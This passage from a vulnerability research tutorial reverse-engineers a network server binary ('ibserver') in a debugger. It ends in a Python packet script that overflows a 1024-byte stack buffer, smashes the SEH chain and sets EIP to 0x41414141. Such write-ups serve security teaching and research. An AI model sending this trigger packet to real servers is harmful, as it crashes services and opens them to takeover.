edx=00a82fbc esi=00aa0758 edi=00000000 eip=00412eb7 esp=010efc48 ebp=010efdd8 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 ibserver+0x12eb7: 00412eb7 51 push ecx 0:003> t eax=00a82fc4 ebx=00aa0388 ecx=00a88134 edx=00a82fbc esi=00aa0758 edi=00000000 eip=00412eb8 esp=010efc44 ebp=010efdd8 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 ibserver+0x12eb8: 00412eb8 e883130000 call ibserver+0x14240 (00414240) 0:003> p eax=00000000 ebx=00aa0388 ecx=00a880b4 edx=00a880b4 esi=00aa0758 edi=00000000 eip=00412ebd esp=010efc44 ebp=010efdd8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ibserver+0x12ebd: 00412ebd 83c408 add esp,8Oh noez! We called the same function as before but this time we returned false. This cant be good for our progress, so let's do it again, except this time we will step into the function and see what's up. In this function we see some familiar function calls, some familiar data access, but we also see something interesting that catches my eye. First we read another dword off of our packet. Then that data gets used in a subsequent call to a function we have seen before.
0x0041431F mov ecx, [ebp+user_buffer] 0x00414322 xor edx, edx 0x00414324 mov dx, [ecx] 0x00414327 push edx ; our short 0x00414328 mov eax, [ebp+user_buffer] 0x0041432B mov ecx, [eax+4] 0x0041432E push ecx 0x0041432F mov edx, [ebp+recv_info_struct] 0x00414332 push edx 0x00414333 mov eax, [ebp+recv_info_struct] 0x00414336 mov ecx, [eax+4] 0x00414339 call dword ptr [ecx+8] ; 00410e46: do_our_receive_copying() 0x0041433C add esp, 0Ch 0x0041433F test eax, eax 0x00414341 jnz short loc_414347Ahh if we remember do_our_receive_copying takes a "count" argument. The first time we encoutered this was after our initial read and was 4 bytes. This time however we are supplying the count. This is a good thing, but why did we fail. The reason is obvious once we realize we are asking for a specific number of bytes. In the initial tests we were using large values in our user supplied string. But the total length of the string was less than 100 characters. So for instance, a short of 0x4142 would never be filled and the socket would close before all the data could be read. This was the reason the function was returning false when we were expecting true. If we tune our script to send a large amount of data, we should be good.
New script:
opnum = "\x00\x00\x00\x14" unknown = "\x00\x00\x00\x03" length1 = 0x100 payload1 = "A" * length1 length2 = 0x1000 payload2 = "Z" * length2 buffer = opnum buffer += unknown buffer += struct.pack(">L", length1) buffer += payload1 buffer += struct.pack(">L", length2) buffer += payload2 s.send(buffer)I don't normally like having unknown information during protocol reversing but for the sake of time I have been keeping an eye on that value in case it's used again. So far I haven't really seen it being touched so I wont concern myself with it. After changing the script and re-running it we can see we now return true from this function.
Breakpoint 0 hit eax=00a9bbf0 ebx=00aa0388 ecx=00000000 edx=00a9bbe8 esi=00aa0758 edi=00000000 eip=00412eb3 esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 ibserver+0x12eb3: 00412eb3 50 push eax 0:003> t eax=00a9bbf0 ebx=00aa0388 ecx=00000000 edx=00a9bbe8 esi=00aa0758 edi=00000000 eip=00412eb4 esp=010efc48 ebp=010efdd8 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 ibserver+0x12eb4: 00412eb4 8b4d08 mov ecx,dword ptr [ebp+8] ss:0023:010efde0=00a965d4 0:003> t eax=00a9bbf0 ebx=00aa0388 ecx=00a965d4 edx=00a9bbe8 esi=00aa0758 edi=00000000 eip=00412eb7 esp=010efc48 ebp=010efdd8 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 ibserver+0x12eb7: 00412eb7 51 push ecx 0:003> t eax=00a9bbf0 ebx=00aa0388 ecx=00a965d4 edx=00a9bbe8 esi=00aa0758 edi=00000000 eip=00412eb8 esp=010efc44 ebp=010efdd8 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 ibserver+0x12eb8: 00412eb8 e883130000 call ibserver+0x14240 (00414240) 0:003> p eax=00000001 ebx=00aa0388 ecx=00000000 edx=00a9bbf0 esi=00aa0758 edi=00000000 eip=00412ebd esp=010efc44 ebp=010efdd8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ibserver+0x12ebd: 00412ebd 83c408 add esp,8And we trace out of this function since we are good to go.
0x004103B3 mov edx, [ebp+arg_4] 0x004103B6 push edx 0x004103B7 mov eax, [ebp+var_4] 0x004103BA add eax, 80h 0x004103BF push eax 0x004103C0 call do_xdr_processing 0x004103C0 0x004103C5 add esp, 8After the return, I have labeled this function as do_xdr_processing since that is what appears to be happening. Tracing this function out is a little tedious and proves to be of little interest. The interesting parts are 2 comparisons to our opnum (0x14).
0x004103E1 loc_4103E1: ; CODE XREF: sub_410221+1A9j 0x004103E1 mov eax, [ebp+our_opnum] 0x004103E4 cmp dword ptr [eax], 6 0x004103E7 jnz short loc_4103F3Which check our code for 6.
0x0041047B mov eax, [ebp+our_opnum] 0x0041047E cmp dword ptr [eax], 47h 0x00410481 jnz short loc_410488Checking for 47.
Since we dont hit any of those we continue on to the calling function. The calling function is a lot larger and more complex than the previous ones we have looked at. After tracing through it doesnt appear to do much with our data. So in the name of brevity I wont paste it. However we do end up at a difficult spot.
0x004054B7 loc_4054B7: ; CODE XREF: sub_404F0E+585j 0x004054B7 push 0 0x004054B9 push 1 0x004054BB push 3 0x004054BD mov ecx, dword ptr [ebp+arg_4] 0x004054C0 and ecx, 0FFFFh 0x004054C6 push ecx 0x004054C7 push offset sub_40C085 0x004054CC call start_new_threadThe last function we hit creates a new thread. You can tell this by doing a down graph of the xrefs from.

So lets set a break point on the address our thread will be executing after its created.
Breakpoint 0 hit eax=00000000 ebx=00aa0388 ecx=0000005a edx=ffffffff esi=00aa0758 edi=00000000 eip=004054cc esp=010efdf0 ebp=010eff18 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x54cc: 004054cc e861e00300 call ibserver+0x43532 (00443532) 0:003> ~ 0 Id: 7b4.11c Suspend: 1 Teb: 7ffdf000 Unfrozen 1 Id: 7b4.33c Suspend: 1 Teb: 7ffde000 Unfrozen 2 Id: 7b4.7f4 Suspend: 1 Teb: 7ffdc000 Unfrozen . 3 Id: 7b4.56c Suspend: 1 Teb: 7ffda000 Unfrozen 4 Id: 7b4.4f4 Suspend: 1 Teb: 7ffd9000 Unfrozen 0:003> g Breakpoint 1 hit eax=77c4ba26 ebx=00aa0418 ecx=00aa0418 edx=00060000 esi=00aa0388 edi=010efd88 eip=0040c085 esp=00ecff84 ebp=00ecffb4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ibserver+0xc085: 0040c085 55 push ebp 0:005> ~ 0 Id: 7b4.11c Suspend: 1 Teb: 7ffdf000 Unfrozen 1 Id: 7b4.33c Suspend: 1 Teb: 7ffde000 Unfrozen 2 Id: 7b4.7f4 Suspend: 1 Teb: 7ffdc000 Unfrozen 3 Id: 7b4.56c Suspend: 1 Teb: 7ffda000 Unfrozen 4 Id: 7b4.4f4 Suspend: 1 Teb: 7ffd9000 Unfrozen . 5 Id: 7b4.118 Suspend: 1 Teb: 7ffdd000 UnfrozenJust to demonstrate, you can see I break before that start_new_thread function and windbg shows us in TID 3 and our break point on the target function (0x0040C085) shows TID 5. Lets see what this thread is going to be doing. Well, we see a lot of stuff going on here. The function has many nodes so i'll trace through looking for anything important.
eax=00000000 ebx=00aa0418 ecx=00ecff58 edx=00a9bab4 esi=00aa0388 edi=010efd88 eip=0040c295 esp=00ecff50 ebp=00ecff80 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0xc295: 0040c295 52 push edx 0:002> dc edx 00a9bab4 00000014 00000000 00000000 00000000 ................ 00a9bac4 00000000 00000000 00000000 00000000 ................ 00a9bad4 00000000 00000000 00000000 00000000 ................ 00a9bae4 00000000 00000000 00000000 00000000 ................ 00a9baf4 00000000 00000000 00000000 00000000 ................ 00a9bb04 00000000 00000000 00000000 00000000 ................ 00a9bb14 00000000 00000000 00000000 00000000 ................ 00a9bb24 00000000 00000000 00000000 00000000 ................ ... 0:002> t eax=00a9b800 ebx=00aa0418 ecx=00a96554 edx=00a9bab4 esi=00aa0388 edi=010efd88 eip=0040c2a1 esp=00ecff44 ebp=00ecff80 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 ibserver+0xc2a1: 0040c2a1 e81696ffff call ibserver+0x58bc (004058bc)After a bit of manual single stepping, we can see a function taking our opnum as one of the arguments. Stepping into this, we see what equates to gold in the vulnerability research realm.

This is the same as our previous xdr processing function. Except for the fact that each of these functions call a unique method for handling each opnum. In essence we now have exponentially increased our reachable code and therefore chances of a bug being discovered. This is also a good case for writing a fuzzer which will hit all of these code paths. Tracing to the switch statement we verify what is going on.
eax=00a9bab4 ebx=00aa0418 ecx=00000014 edx=00000014 esi=00aa0388 edi=010efd88 eip=0040597d esp=00ecfe48 ebp=00ecff3c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ibserver+0x597d: 0040597d 8b850cffffff mov eax,dword ptr [ebp-0F4h] ss:0023:00ecfe48=00000014 0:002> t eax=00000014 ebx=00aa0418 ecx=00000014 edx=00000014 esi=00aa0388 edi=010efd88 eip=00405983 esp=00ecfe48 ebp=00ecff3c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ibserver+0x5983: 00405983 83e801 sub eax,1 0:002> t eax=00000013 ebx=00aa0418 ecx=00000014 edx=00000014 esi=00aa0388 edi=010efd88 eip=00405986 esp=00ecfe48 ebp=00ecff3c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x5986: 00405986 89850cffffff mov dword ptr [ebp-0F4h],eax ss:0023:00ecfe48=00000014 0:002> t eax=00000013 ebx=00aa0418 ecx=00000014 edx=00000014 esi=00aa0388 edi=010efd88 eip=0040598c esp=00ecfe48 ebp=00ecff3c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x598c: 0040598c 83bd0cffffff5c cmp dword ptr [ebp-0F4h],5Ch ss:0023:00ecfe48=00000013 0:002> t eax=00000013 ebx=00aa0418 ecx=00000014 edx=00000014 esi=00aa0388 edi=010efd88 eip=00405993 esp=00ecfe48 ebp=00ecff3c iopl=0 nv up ei ng nz ac pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297 ibserver+0x5993: 00405993 0f87ac060000 ja ibserver+0x6045 (00406045) [br=0]Again we see a limit check to make sure our opnum is less than 0x5c (you could set your fuzzer to never exceed this as well).
eax=00000013 ebx=00aa0418 ecx=00000014 edx=00000014 esi=00aa0388 edi=010efd88 eip=00405999 esp=00ecfe48 ebp=00ecff3c iopl=0 nv up ei ng nz ac pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297 ibserver+0x5999: 00405999 8b950cffffff mov edx,dword ptr [ebp-0F4h] ss:0023:00ecfe48=00000013 0:002> t eax=00000013 ebx=00aa0418 ecx=00000014 edx=00000013 esi=00aa0388 edi=010efd88 eip=0040599f esp=00ecfe48 ebp=00ecff3c iopl=0 nv up ei ng nz ac pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297 ibserver+0x599f: 0040599f 33c9 xor ecx,ecx 0:002> t eax=00000013 ebx=00aa0418 ecx=00000000 edx=00000013 esi=00aa0388 edi=010efd88 eip=004059a1 esp=00ecfe48 ebp=00ecff3c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ibserver+0x59a1: 004059a1 8a8aa5614000 mov cl,byte ptr ibserver+0x61a5 (004061a5)[edx] ds:0023:004061b8=02 0:002> t eax=00000013 ebx=00aa0418 ecx=00000002 edx=00000013 esi=00aa0388 edi=010efd88 eip=004059a7 esp=00ecfe48 ebp=00ecff3c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ibserver+0x59a7: 004059a7 ff248df5604000 jmp dword ptr ibserver+0x60f5 (004060f5)[ecx*4] ds:0023:004060fd=00405ab4 0:002> t eax=00000013 ebx=00aa0418 ecx=00000002 edx=00000013 esi=00aa0388 edi=010efd88 eip=00405ab4 esp=00ecfe48 ebp=00ecff3c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ibserver+0x5ab4: 00405ab4 8b4d0c mov ecx,dword ptr [ebp+0Ch] ss:0023:00ecff48=00a9b800Again a demonstration on how a switch statement is compiled down into assembly. If we look at these functions in the function table we see.
0x004060F5 off_4060F5 dd offset loc_4059AE ; DATA XREF: process_command+EBr 0x004060F9 dd offset loc_405B13 0x004060FD dd offset loc_405AB4 0x00406101 dd offset loc_405C93 0x00406105 dd offset loc_405A95 0x00406109 dd offset loc_405BEA 0x0040610D dd offset loc_405C0D 0x00406111 dd offset loc_405BCB 0x00406115 dd offset loc_405BAC 0x00406119 dd offset loc_405DB5 0x0040611D dd offset loc_405C4E 0x00406121 dd offset loc_405C70 0x00406125 dd offset loc_405CF0 0x00406129 dd offset loc_405D35 0x0040612D dd offset loc_405D13 0x00406131 dd offset loc_405D73 0x00406135 dd offset loc_405DD4 0x00406139 dd offset loc_405DF7 0x0040613D dd offset loc_405E15 0x00406141 dd offset loc_405D96 0x00406145 dd offset loc_405E33 0x00406149 dd offset loc_405E51 0x0040614D dd offset loc_405E6F 0x00406151 dd offset loc_405E8D 0x00406155 dd offset loc_405EAB 0x00406159 dd offset loc_405D54 0x0040615D dd offset loc_405EC9 0x00406161 dd offset loc_405F2C 0x00406165 dd offset loc_405F4F 0x00406169 dd offset loc_405F71 0x0040616D dd offset loc_405F90 0x00406171 dd offset loc_405FCE 0x00406175 dd offset loc_405FED 0x00406179 dd offset loc_406029 0x0040617D dd offset loc_405FAF 0x00406181 dd offset loc_405C30 0x00406185 dd offset loc_405CD1 0x00406189 dd offset loc_405AD7 0x0040618D dd offset loc_405CB2 0x00406191 dd offset loc_405AF5 0x00406195 dd offset loc_406009 0x00406199 dd offset loc_405F09 0x0040619D dd offset loc_405EE7 0x004061A1 dd offset loc_406045All of these are unique and potentially accessible. Following our opnum we hit its handler.
eax=00000013 ebx=00aa0418 ecx=00a9b800 edx=00a9bbe4 esi=00aa0388 edi=010efd88 eip=00405ac1 esp=00ecfe44 ebp=00ecff3c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x5ac1: 00405ac1 52 push edx 0:002> t eax=00000013 ebx=00aa0418 ecx=00a9b800 edx=00a9bbe4 esi=00aa0388 edi=010efd88 eip=00405ac2 esp=00ecfe40 ebp=00ecff3c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x5ac2: 00405ac2 8b45f4 mov eax,dword ptr [ebp-0Ch] ss:0023:00ecff30=00000014 0:002> t eax=00000014 ebx=00aa0418 ecx=00a9b800 edx=00a9bbe4 esi=00aa0388 edi=010efd88 eip=00405ac5 esp=00ecfe40 ebp=00ecff3c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x5ac5: 00405ac5 50 push eax 0:002> t eax=00000014 ebx=00aa0418 ecx=00a9b800 edx=00a9bbe4 esi=00aa0388 edi=010efd88 eip=00405ac6 esp=00ecfe3c ebp=00ecff3c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x5ac6: 00405ac6 8b4d08 mov ecx,dword ptr [ebp+8] ss:0023:00ecff44=00a96554 0:002> t eax=00000014 ebx=00aa0418 ecx=00a96554 edx=00a9bbe4 esi=00aa0388 edi=010efd88 eip=00405aca esp=00ecfe38 ebp=00ecff3c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x5aca: 00405aca e8a00b0000 call ibserver+0x666f (0040666f)As we trace through this function we begin to see wonderful results.
eax=00000000 ebx=00aa0418 ecx=00a96554 edx=00000000 esi=00aa0388 edi=010efd88 eip=00406828 esp=00ecfbac ebp=00ecfe30 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x6828: 00406828 8b5588 mov edx,dword ptr [ebp-78h] ss:0023:00ecfdb8=00a953f0 0:002> t eax=00000000 ebx=00aa0418 ecx=00a96554 edx=00a953f0 esi=00aa0388 edi=010efd88 eip=0040682b esp=00ecfbac ebp=00ecfe30 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x682b: 0040682b 52 push edx 0:002> dc edx 00a953f0 5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a ZZZZZZZZZZZZZZZZ 00a95400 5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a ZZZZZZZZZZZZZZZZ 00a95410 5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a ZZZZZZZZZZZZZZZZ 00a95420 5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a ZZZZZZZZZZZZZZZZ 00a95430 5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a ZZZZZZZZZZZZZZZZ 00a95440 5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a ZZZZZZZZZZZZZZZZ 00a95450 5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a ZZZZZZZZZZZZZZZZ 00a95460 5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a ZZZZZZZZZZZZZZZZThis is our second buffer that occurs after our second length argument.
0:002> t eax=00000000 ebx=00aa0418 ecx=00a96554 edx=00a953f0 esi=00aa0388 edi=010efd88 eip=0040682c esp=00ecfba8 ebp=00ecfe30 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x682c: 0040682c 668b45ec mov ax,word ptr [ebp-14h] ss:0023:00ecfe1c=1000 0:002> t eax=00001000 ebx=00aa0418 ecx=00a96554 edx=00a953f0 esi=00aa0388 edi=010efd88 eip=00406830 esp=00ecfba8 ebp=00ecfe30 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x6830: 00406830 50 push eax 0:002> tThis is our length2.
eax=00001000 ebx=00aa0418 ecx=00ecfdbc edx=00a953f0 esi=00aa0388 edi=010efd88 eip=00406835 esp=00ecfba0 ebp=00ecfe30 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x6835: 00406835 8b9580fdffff mov edx,dword ptr [ebp-280h] ss:0023:00ecfbb0=00a963f4 0:002> t eax=00001000 ebx=00aa0418 ecx=00ecfdbc edx=00a963f4 esi=00aa0388 edi=010efd88 eip=0040683b esp=00ecfba0 ebp=00ecfe30 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x683b: 0040683b 52 push edx 0:002> dc edx 00a963f4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00a96404 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00a96414 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00a96424 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00a96434 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00a96444 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00a96454 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00a96464 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAAOur first buffer
... 0:002> t eax=00001000 ebx=00aa0418 ecx=00ecfdbc edx=00a963f4 esi=00aa0388 edi=010efd88 eip=0040683c esp=00ecfb9c ebp=00ecfe30 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x683c: 0040683c 668b4584 mov ax,word ptr [ebp-7Ch] ss:0023:00ecfdb4=0100 0:002> t eax=00000100 ebx=00aa0418 ecx=00ecfdbc edx=00a963f4 esi=00aa0388 edi=010efd88 eip=00406840 esp=00ecfb9c ebp=00ecfe30 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x6840: 00406840 50 push eax 0:002> tOur length1
... 0:002> t eax=00000100 ebx=00aa0418 ecx=00ecfdc0 edx=00a963f4 esi=00aa0388 edi=010efd88 eip=00406845 esp=00ecfb94 ebp=00ecfe30 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x6845: 00406845 e880360300 call ibserver+0x39eca (00439eca)Well know that we are finally (sorry it took so long) at a function taking our actual arguments, we may be in business. This function uses our length values heavily. In various places we see checks to make sure we have positive values, all our pointers are legit, and indexes into our user supplied string. However, in the middle of the function is pretty interesting.
0x0043A0C5 mov ecx, [ebp+our_length1] 0x0043A0CB and ecx, 0FFFFh 0x0043A0D1 mov esi, [ebp+user_supplied_string] 0x0043A0D4 mov edi, [ebp+target_stack_buffer] 0x0043A0D7 mov eax, ecx 0x0043A0D9 shr ecx, 2 0x0043A0DC rep movsdSince I happen to be labeling things as I go this is a pretty obvious problem. We can supply the size of our inline memcpy, the source is our user supplied string, and the destination is a stack buffer. If we trace the buffer back we see it is of size 1024.
var_424= dword ptr -424h 0x0043A039 lea edx, [ebp+var_424] 0x0043A03F mov [ebp+target_stack_buffer], edxWe get 0x400 after subtracting the other locals to get 1024. Since I now know I can control significant pieces of data I am going back to my script before I continue. I know that I can supply the length, I know the stack buffer is 1024 bytes and I know I can control what gets written.
opnum = "\x00\x00\x00\x14" unknown = "\x00\x00\x00\x03" length1 = 0x1000 payload1 = "A" * length1 length2 = 0x2000 payload2 = "Z" * length2 buffer = opnum buffer += unknown buffer += struct.pack(">L", length1) buffer += payload1 buffer += struct.pack(">L", length2) buffer += payload2Lets do it.
Breakpoint 0 hit eax=00001000 ebx=00aa0418 ecx=00001000 edx=00a91000 esi=00aa0388 edi=010efd88 eip=0043a0c5 esp=00ecf2ac ebp=00ecfb8c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x3a0c5: 0043a0c5 8b8d28f7ffff mov ecx,dword ptr [ebp-8D8h] ss:0023:00ecf2b4=00001000 0:005> t eax=00001000 ebx=00aa0418 ecx=00001000 edx=00a91000 esi=00aa0388 edi=010efd88 eip=0043a0cb esp=00ecf2ac ebp=00ecfb8c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x3a0cb: 0043a0cb 81e1ffff0000 and ecx,0FFFFh 0:005> t eax=00001000 ebx=00aa0418 ecx=00001000 edx=00a91000 esi=00aa0388 edi=010efd88 eip=0043a0d1 esp=00ecf2ac ebp=00ecfb8c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x3a0d1: 0043a0d1 8b7510 mov esi,dword ptr [ebp+10h] ss:0023:00ecfb9c=00a954f4 0:005> t eax=00001000 ebx=00aa0418 ecx=00001000 edx=00a91000 esi=00a954f4 edi=010efd88 eip=0043a0d4 esp=00ecf2ac ebp=00ecfb8c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x3a0d4: 0043a0d4 8b7de4 mov edi,dword ptr [ebp-1Ch] ss:0023:00ecfb70=00ecf768 0:005> t eax=00001000 ebx=00aa0418 ecx=00001000 edx=00a91000 esi=00a954f4 edi=00ecf768 eip=0043a0d7 esp=00ecf2ac ebp=00ecfb8c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x3a0d7: 0043a0d7 8bc1 mov eax,ecx 0:005> t eax=00001000 ebx=00aa0418 ecx=00001000 edx=00a91000 esi=00a954f4 edi=00ecf768 eip=0043a0d9 esp=00ecf2ac ebp=00ecfb8c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x3a0d9: 0043a0d9 c1e902 shr ecx,2 0:005> t eax=00001000 ebx=00aa0418 ecx=00000400 edx=00a91000 esi=00a954f4 edi=00ecf768 eip=0043a0dc esp=00ecf2ac ebp=00ecfb8c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x3a0dc: 0043a0dc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:00ecf768=00000000 ds:0023:00a954f4=41414141 0:005> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 00ecfb8c 0040684a 00ecfdc0 00001000 00a954f4 ibserver+0x3a0dc 00ecfe30 00405acf 00a96554 00000014 00a9bbe4 ibserver+0x684a 00ecff3c 0040c2a6 00a96554 00a9b800 00a9bab4 ibserver+0x5acf *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\MSVCRT.dll - 00ecff80 77c3a3b0 0000005a 010efd88 00000000 ibserver+0xc2a6 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 00ecffb4 7c80b50b 00aa0418 010efd88 00000000 MSVCRT!endthreadex+0xa9 00ecffec 00000000 77c3a341 00aa0418 00000000 kernel32!GetModuleFileNameA+0x1b4 0:005> !exchain 00ecffa4: MSVCRT!except_handler3+0 (77c35c94) CRT scope 0, filter: MSVCRT!endthreadex+af (77c3a3b6) func: MSVCRT!endthreadex+c3 (77c3a3ca) 00ecffdc: kernel32!FindAtomW+94 (7c8399f3) 0:005> p (4a4.64c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00001000 ebx=00aa0418 ecx=000001da edx=00a91000 esi=00a95d8c edi=00ed0000 eip=0043a0dc esp=00ecf2ac ebp=00ecfb8c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x3a0dc: 0043a0dc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:00ed0000=???????? ds:0023:00a95d8c=41414141 0:005> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 00ecfb8c 41414141 41414141 41414141 41414141 ibserver+0x3a0dc 00ecfb90 41414141 41414141 41414141 41414141 0x41414141 00ecfb94 41414141 41414141 41414141 41414141 0x41414141 00ecfb98 41414141 41414141 41414141 41414141 0x41414141 00ecfb9c 41414141 41414141 41414141 41414141 0x41414141 00ecfba0 41414141 41414141 41414141 41414141 0x41414141 00ecfba4 41414141 41414141 41414141 41414141 0x41414141 00ecfba8 41414141 41414141 41414141 41414141 0x41414141 00ecfbac 41414141 41414141 41414141 41414141 0x41414141 00ecfbb0 41414141 41414141 41414141 41414141 0x41414141 00ecfbb4 41414141 41414141 41414141 41414141 0x41414141 00ecfbb8 41414141 41414141 41414141 41414141 0x41414141 00ecfbbc 41414141 41414141 41414141 41414141 0x41414141 00ecfbc0 41414141 41414141 41414141 41414141 0x41414141 00ecfbc4 41414141 41414141 41414141 41414141 0x41414141 00ecfbc8 41414141 41414141 41414141 41414141 0x41414141 00ecfbcc 41414141 41414141 41414141 41414141 0x41414141 00ecfbd0 41414141 41414141 41414141 41414141 0x41414141 00ecfbd4 41414141 41414141 41414141 41414141 0x41414141 00ecfbd8 41414141 41414141 41414141 41414141 0x41414141 0:005> !exchain 00ecffa4: 41414141 Invalid exception stack at 41414141 0:005> g (4a4.64c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=41414141 edx=7c9037d8 esi=00000000 edi=00000000 eip=41414141 esp=00eceedc ebp=00eceefc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 41414141 ?? ???Well now, wasn't that fun? As we can see, this loop copied our payload1 buffer until it smashed the SEH chain pointers. Again, this would be a perfect place to use a unique string, but for demonstration purposes it's more dramatic this way. A funny part of reverse engineering and looking for bugs is that you'll notice we never touched our length2 and payload2 arguments before this crash. They can be anything as long as we pass our recv loop from earlier. The reason for this is that the program dies before it has a chance to work on the rest of our data. I'm not complaining, but I wish I knew that earlier :).
